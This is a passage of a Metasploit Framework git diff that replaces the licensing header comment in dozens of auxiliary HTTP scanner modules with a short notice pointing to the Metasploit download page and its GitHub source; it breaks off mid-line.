https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/file_same_name_dir.rb b/modules/auxiliary/scanner/http/file_same_name_dir.rb index eca16e1a4f..533ad098b3 100644 --- a/modules/auxiliary/scanner/http/file_same_name_dir.rb +++ b/modules/auxiliary/scanner/http/file_same_name_dir.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/files_dir.rb b/modules/auxiliary/scanner/http/files_dir.rb index 28cb0cd093..c335aab306 100644 --- a/modules/auxiliary/scanner/http/files_dir.rb +++ b/modules/auxiliary/scanner/http/files_dir.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/frontpage_login.rb b/modules/auxiliary/scanner/http/frontpage_login.rb index 781a41683b..a02821317a 100644 --- a/modules/auxiliary/scanner/http/frontpage_login.rb +++ b/modules/auxiliary/scanner/http/frontpage_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index f73254f9e3..aa2dab6a0b 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb index 852f3642a5..d06884238b 100644 --- a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb +++ b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb index f9e287e3b0..73bd88ee71 100644 --- a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb index 4e62480eb9..415b7e73c5 100644 --- a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb index 52cfadc8ea..ca04b63480 100644 --- a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb index b60e114e48..6031e96d7c 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index 6ce2410a29..32fd955c57 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index 017386429e..cf3ec41b04 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index 59b845a21e..34359954b0 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/http_hsts.rb b/modules/auxiliary/scanner/http/http_hsts.rb index dc9fe7d60f..20d87e2db1 100644 --- a/modules/auxiliary/scanner/http/http_hsts.rb +++ b/modules/auxiliary/scanner/http/http_hsts.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 2d2979dd69..e9f79b3284 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb index ef12f2dac1..02bc3358d1 100644 --- a/modules/auxiliary/scanner/http/http_put.rb +++ b/modules/auxiliary/scanner/http/http_put.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/http_traversal.rb b/modules/auxiliary/scanner/http/http_traversal.rb index 86034b85a0..d489e7aab4 100644 --- a/modules/auxiliary/scanner/http/http_traversal.rb +++ b/modules/auxiliary/scanner/http/http_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb index 5374e5ea91..9fd4b7ce4e 100644 --- a/modules/auxiliary/scanner/http/http_version.rb +++ b/modules/auxiliary/scanner/http/http_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/httpbl_lookup.rb b/modules/auxiliary/scanner/http/httpbl_lookup.rb index f909496348..809fc99ccb 100644 --- a/modules/auxiliary/scanner/http/httpbl_lookup.rb +++ b/modules/auxiliary/scanner/http/httpbl_lookup.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/iis_internal_ip.rb b/modules/auxiliary/scanner/http/iis_internal_ip.rb index aa70a55380..c51e2649c8 100644 --- a/modules/auxiliary/scanner/http/iis_internal_ip.rb +++ b/modules/auxiliary/scanner/http/iis_internal_ip.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/infovista_enum.rb b/modules/auxiliary/scanner/http/infovista_enum.rb index c45bd3e709..730b6017a8 100644 --- a/modules/auxiliary/scanner/http/infovista_enum.rb +++ b/modules/auxiliary/scanner/http/infovista_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb index a17041f321..16fbf114aa 100644 --- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb index 3f35411782..344fd6444b 100644 --- a/modules/auxiliary/scanner/http/joomla_pages.rb +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb index e17ba73800..85cf5abdfc 100644 --- a/modules/auxiliary/scanner/http/joomla_plugins.rb +++ b/modules/auxiliary/scanner/http/joomla_plugins.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb index 39c9568e54..14a281b41d 100644 --- a/modules/auxiliary/scanner/http/joomla_version.rb +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb index 1d4a31f5d8..be7b6215fe 100644 --- a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb +++ b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb index 9736acb355..be7b8fac4f 100644 --- a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/lucky_punch.rb b/modules/auxiliary/scanner/http/lucky_punch.rb index 88f5b74fe3..5d253dcfc9 100644 --- a/modules/auxiliary/scanner/http/lucky_punch.rb +++ b/modules/auxiliary/scanner/http/lucky_punch.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb index c116477873..0dd4195aec 100644 --- a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb index a56554cae0..a70b85b993 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb index 0dccf0dfbe..eccde58252 100644 --- a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb index a31cb0e93b..71371bb3e8 100644 --- a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb +++ b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb index eb6414cdb9..f3d0422a6d 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb index 2395f2de77..c31ec051b3 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb index cf70704c15..d919365b30 100644 --- a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb +++ b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/netdecision_traversal.rb b/modules/auxiliary/scanner/http/netdecision_traversal.rb index d5cb097479..c1dc56e999 100644 --- a/modules/auxiliary/scanner/http/netdecision_traversal.rb +++ b/modules/auxiliary/scanner/http/netdecision_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb index 5454fa4419..6c15e4c078 100644 --- a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb index cc68753f94..fa4d296f94 100644 --- a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb index 09c45e8610..214faa324c 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb index 7848dee914..ff66f1bb71 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/novell_mdm_creds.rb b/modules/auxiliary/scanner/http/novell_mdm_creds.rb index ce00951181..84df7d76cd 100644 --- a/modules/auxiliary/scanner/http/novell_mdm_creds.rb +++ b/modules/auxiliary/scanner/http/novell_mdm_creds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index 23e6761974..1bcb14396b 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/open_proxy.rb b/modules/auxiliary/scanner/http/open_proxy.rb index 3ac6b5707d..9fcc2a2335 100644 --- a/modules/auxiliary/scanner/http/open_proxy.rb +++ b/modules/auxiliary/scanner/http/open_proxy.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/options.rb b/modules/auxiliary/scanner/http/options.rb index 60db95ce55..cbb6886213 100644 --- a/modules/auxiliary/scanner/http/options.rb +++ b/modules/auxiliary/scanner/http/options.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 70897ef9c7..45f5cbc944 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb index 9f3d08460e..cdb270dd03 100644 --- a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb +++ b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb index 262abadde6..98b03e785b 100644 --- a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/rails_mass_assignment.rb b/modules/auxiliary/scanner/http/rails_mass_assignment.rb index 0262faf5c8..ae55aa5571 100644 --- a/modules/auxiliary/scanner/http/rails_mass_assignment.rb +++ b/modules/auxiliary/scanner/http/rails_mass_assignment.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index be1279dfaf..75d95cfce5 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/replace_ext.rb b/modules/auxiliary/scanner/http/replace_ext.rb index ca81ca8aec..1164c3915d 100644 --- a/modules/auxiliary/scanner/http/replace_ext.rb +++ b/modules/auxiliary/scanner/http/replace_ext.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb index 4d9c65d8cb..850dd1f8f4 100644 --- a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb +++ b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: 